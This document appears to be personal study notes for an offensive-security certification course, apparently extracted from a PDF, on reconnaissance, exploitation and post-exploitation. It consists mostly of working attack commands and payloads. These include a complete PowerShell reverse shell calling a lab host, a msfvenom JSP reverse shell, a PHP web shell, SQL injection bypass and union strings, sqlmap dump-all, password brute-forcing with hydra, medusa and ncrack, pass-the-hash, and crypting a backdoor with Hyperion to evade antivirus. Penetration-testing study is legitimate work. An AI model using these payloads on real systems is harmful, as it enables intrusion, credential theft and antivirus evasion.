Zumaroc Notes v2
Zumaroc Notes v2
#Start SSH
#wget command
wget www.cisco.com
#TCPClient
#TCPServer
1/36
nc -nlvp 4445
Tcpdump
https://hackertarget.com/tcpdump-examples/
site:microsoft.com -site:www.microsoft.com
#TheHarvester
#theharvester -d msn.com -b google > /root/Documents/pwk/exercises/
google.txt
#whois
whois example.com
whois 50.7.67.186
host -t ns example.com
dnsenum zonetransfer.me
iptables -vn -L
Nmap
“As a general rule I always do a full port scan against every box.
You just never know when you'll find a non-standard RHP with a
service running.
There are life scenarios when this is not appropriate, but in the offsec
labs its fine.”
4/36
#full scan
nmap -v -p- -oA nmap/full 10.11.1.49
#SMB OS Discovery
nmap 10.0.0.19 --script smb-os-discovery.nse
#nmap sweeps are very useful for common services and ports enum
# grep output
#bash one liner to find smb service for all UP hosts across the network.
host=`grep open web-sweep.txt | cut -d" " -f2` | for ip in $host;do nmap $ip --
script smb-os-discovery.nse; done
#NMAP Scripts
#nmap run vul and safe scripts on a port. -Pn do not ping
nmap -p 445 --script "vuln and safe" -Pn -n
5/36
# nmap scan smb port 139,445
# -sC defaults scripts, -sV service enumartion, -oA output all formats, -vvv show
what ports are open as soon as it finds out
nmap -sC -sV -oA nmap/initial -vvv [ip_address]
#Openvans
7/36
#Job for openvas-scanner.service failed because a timeout was exceeded.
See "systemctl status openvas-scanner.service" and "journalctl -xe" for details.
To quickly go from a 32bit hex address in big endian to little endian without
manually reversing it: struct.pack('<I', 0x08134597)
Here is a shortcut not shown in the video to generate the list of chars: print
''.join(r'\x{0:02x}'.format(x) for x in range(1,256))
ExitThread vs ExitProcess
ExitProcess - MSF default exit method will kill the service completely.
USE - No Operation (NOP) instructions (0x90), to avoid overwriting the first few
bytes of shellcode.
#buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode
Immunity Debugger
9/36
#search for opcode in all sections of module
!mona find -s ''\xff\xe4'' -m <module>
Jump to ESP
Vouched Sources:
https://www.securityfocus.com/
https://www.exploit-db.com
10/36
"CVE is a list of information security vulnerabilities and exposures
that aims to provide common names for publicly known problems.
The goal of CVE is to make it easier to share data across separate
vulnerability capabilities (tools, repositories, and services)
with this "common enumeration."
https://cve.mitre.org/
Tools on Kali:
#searchsploit search through exploits and shellcodes using terms from Exploit-
DB #-m to mirror file
#searchsploit -m <target>
searchsploit -m exploits/linux/remote/40064.txt
#search for privilege escalation exploits & grep for linux kernel 2.6
12/36
#Updated Windows File Transfer Methods
https://medium.com/@PenTest_duck/almost-all-the-ways-to-
file-transfer-1bd6bf710d65
FTP non-interactively:
13/36
C:\Users\Sample>echo open 10.11.0.5 21> ftp.txt
C:\Users\Sample>echo USER evils>> ftp.txt
C:\Users\Sample>echo ftp>> ftp.txt
C:\Users\Sample>echo bin >> ftp.txt
C:\Users\Sample>echo GET nc.exe >> ftp.txt
C:\Users\Sample>echo bye >> ftp.txt
C:\Users\Sample>ftp -v -n -s:ftp.txt
14/36
powershell -c "$client = New-Object
System.Net.Sockets.TCPClient('10.
11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes
= 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data =
(New-Object -TypeName System.T
ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII
).GetBytes($sendback2);$stream.Write($sendbyte,0,
$sendbyte.Length);$stream.Flush()};$c
lient.Close()"
15/36
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >>
wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer,
lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
>> wget.vbs
echo If http Is Nothing Then Set http = CreateObject
("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject
("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject
("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject")
>> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb
(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
https://www.pyinstaller.org/
18/36
Replacing Shellcode
#JSP
msfvenom -p java/jsp_shell_reverse_tcp lhost=10.0.0.35 lport=5555
Java Applets
"Since the release of Kali Linux 2016.2, Java version 7 is not available in the Kali
repositories.
In order to complete the exercise using the PWK Kali VM 2018.3, the following
commands are needed to compile and sign the Java code:"
/usr/lib/jvm/java-8-openjdk-i386/bin/keytool
/usr/lib/jvm/java-8-openjdk-i386/bin/ jarsigner
https://forums.offensive-security.com/showthread.php?18497-12-3-Changes-to-
quot-Java-Signed-Applet-Attack
#Warning: Different store and key passwords not supported for PKCS12
KeyStores.
keytool -genkey -alias signapplet -keystore mykeystore -keypass mykeypass -
storepass mykeypass
19/36
cp /usr/share/windows-binaries/nc.exe to current directory & mv nc.exe to
evil.exe
Javadocs:
https://docs.oracle.com/javase/tutorial/deployment/jar/signing.html
Firefox extensions:
Cookies Manager+55
Tamper Data56
https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
XSS vulnerabilities are caused due to unsanitized user input that is then
displayed on a web page in HTML format.
They don't directly compromise a machine, these attacks can still have
significant impacts, such as cookie stealing
and authentication bypass, redirecting the victim’s browser to a malicious HTML
page, and more.
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
20/36
#Injecting JavaScript Into the Form
<script>alert("XSS")</script>
https://www.exploit-db.com/papers/13017
"LFI vulnerabilities are a subclass of RFIs. The difference between the two is
the web
21/36
application’s capability to include either local or remote files. RFI attacks allow
the
attacker to introduce his own code to the webserver, resulting in a quick
compromise,
while LFI attacks limit the attacker to including files already existing on the web
server,
thus making compromise more challenging."
LIF's
Can we write PHP code on the victim's server?
NO..?
• /var/mail/<user> (if we can write emails to user, use telnet to inject PHP)
telnet ip <port>
helo <user> or EHLO me.self.name
VRFY <user>@localhost
mail from:
rcpt <user>@localhost
data
Subject: You got owned
#PHP $_REQUEST is a PHP super global variable
#Used to collect data after submitting an HTML form.
<?php echo system($_REQUEST[pwaned]);?>
#empty space is important for code output.
Authentication Bypass
#username fields
(1)wronguser' or 1=1 limit 1;#order
(2) wronguser' or '1=1 -- -' limit 1;#
SELECT * FROM users WHERE username='1' or '1=1 -- -' limit 1;#
#If the username is already known, the only thing to be bypassed is the
password verification.
# (1) & (2) condition is always true and thus bypasses the security.
We can test this vulnerability by simply adding a quote (or a double quote)
after the ID parameter.
Depending on the verbosity of the web application, an attacker could try to use
the
“order by” output query to gather information about the database structure
Increase the number till we get an error.
The error provides us with important information, about table columns.
http://10.11.1.35/comment.php?id=738 order by 1
24/36
--version info
http://10.11.16.86/comment.php?id=738 union all select
1,2,3,4,@@version,6
--current user
http://10.11.1.35/comment.php?id=738 union all select
1,2,3,4,user(),6
http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html
25/36
Can we create evil.php in web root? MySQL INTO OUTFILE
‘<full_path_file_name>’
Web Application Proxies - On many occasions, a web application may restrict the
input given by a user.
Cases 1, 2, and 3 can be avoided by using a local web proxy like Burb Suite or
Tamper Data.
The sqlmap tool can be used to both identify and exploitSQL injection
vulnerabilities.
#dump all
sqlmap -u http://10.11.16.86/comment.php?id=736 --dbms=mysql --dump-all --
threads=5
26/36
14. - Password Attacks
If a service of some sort requires valid credentials to access it, we can simply
attempt to guess, or brute-force,
these credentials until they are identified.
"Generally speaking, the passwords used in our guessing attempts can come
from two
sources: dictionary files[like rockyou.txt on kali] or key-space brute-force."
#The resulting command to generate our required password list would look
similar to:
crunch 8 8 -t ,@@^^%%%
/usr/share/windows-binaries/fgdump/fgdump.exe
/usr/share/wce/wce32.exe
│
/usr/share/wce/wce64.exe
27/36
Passing the Hash Techniques
Password Profiling
This involves using words and phrases taken from the specific
organization you are targeting and including them in
your wordlists with the aim of improving your chances of finding a valid
password.
Scenario:
A Nano-Technology company, had an administrator that used the password
“nanobots93” to secure one of his network machines .
Cewl, can scrape example.com to generate a password list from words found
on the web pages.
Password Mutating
Users most commonly tend to mutate their passwords in various ways. This
could
include adding a few numbers at the end of the password, swapping out
lowercase for
capital letters, changing certain letters to numbers, etc.
28/36
john --wordlist=example-cewl.txt --rules --stdout > mutated.txt
Because online password brute-forcing are noisy, they can lead to account
lockouts and log alerts.
The golden rule is choosing your targets, user lists, and password files carefully
and intelligently
before initiating the attack.
• Hydra
• Medusa
• Ncrack
• Metasploit
SNMP
hydra -P password-file.txt -v <rhost> snmp
SSH
hydra -l root -P password-file.txt <rhost> ssh
FTP
hydra -l admin -P password-file.txt -v <rhost> ftp
HTTP
medusa -h <rhost> -u admin -P password-file.txt -M http -m DIR:/<path> -T 10
RDP
ncrack -vv --user admin -P password-file.txt rdp://<rhost>
Hash Properties:
• The length of the hash (each hash function has a specific output length).
• The character-set used in the hash.
• Any special characters that may be present in the hash.
Tools
hash-identifier
John
#brute-force mode
john 127.0.0.1.pwdump
#wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump
#rules
john --rules --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump
#linux hashes
unshadow passwd-file.txt shadow-file.txt > unshadowed.txt
Pass-The-Hash - Windows
#Setup SMBHASH
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:<NTLM/LM HASH>
#Use pth-winexe
30/36
pth-winexe -U administrator% //<rhost> cmd
https://www.tarlogic.com/en/blog/how-kerberos-works/
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
Port Forwarding/Redirection
It involves accepting traffic on a given IP address and port and then simply
redirecting it to a different IP address and port.
#rinetd
pt-get install rinetd
cat /etc/rinetd.conf
SSH Tunneling
31/36
Create encrypted tunnels within the SSH protocol,
which supports bi-directional communication channels
Tunnel a local port to a remote server, using SSH as the transport protocol:
SSH remote port forwarding allows us to tunnel a remote port to a local server:
SSH dynamic port forwarding allows us to set a local listening port and have it
tunnel incoming traffic to any remote destination through a proxy.
Proxychains
Proxychains enables us to run any network tool through HTTP, SOCKS4, and
SOCKS5 proxies.
32/36
proxychains nmap --top-ports=20 -sT -Pn 172.16.40.0/24
HTTP Tunneling
Traffic Encapsulation
In this case, we can use an HTTP or SSL encapsulating tool such as HTTPTunnel
or stunnel, respectively.
Kali Linux contains the metasploit-framework package, which contains the open
source elements of the Metasploit project.
#WebDAV servers are often poorly configured and can often lead to a quick and
easy shell on a victim.
33/36
msf> use auxiliary/scanner/http/webdav_scanner
If the postgresql services is started ahead of time, the MSF will log findings and
information about discovered hosts in a convenient, accessible database. To
display all
discovered hosts up to this point, we can give the hosts command within
msfconsole
db_nmap MSF wrapper to scan hosts with Nmap andhave the scan output
inserted to the MSF database.
Exploit Modules
Take note of the Exploit Target. This is essentially a list of various OS versions or
software versions which the exploit is know to work for
• The vulnerability we are exploiting does not have enough buffer space to hold
a full payload
• Antivirus software is detecting embedded shellcode in an exploit
The presence, type, and version of any antivirus software or similar software
should be identified before uploading files to the target machine.
Gather as much information as possible about it and test any files you wish to
upload to the target machine in a lab environment.
Avoiding antivirus signatures by manually editing the binary file requires a
deeper understanding PE's structure and assembly programming.
Kali Tools
35/36
root@kali:~# cp shell_reverse_msf_encoded_embedded.exe
backdoor.exe
root@kali:~# cp /usr/share/windows-binaries/
Hyperion-1.0.zip .
root@kali:~# unzip Hyperion-1.0.zip
root@kali:~# cd Hyperion-1.0/
root@kali:~/Hyperion-1.0# i686-w64-mingw32-g++ Src/Crypter/
*.cpp -o hyperion.exe
root@kali:~/Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-
mingw32/6.1-win32/libgcc_s_sjlj-1.dll .
root@kali:~/Hyperion-1.0# cp -p /usr/lib/gcc/i686-w64-
mingw32/6.1-win32/libstdc++-6.dll .
root@kali:~/Hyperion-1.0# wine hyperion.exe ../
backdoor.exe ../crypted.exe
36/36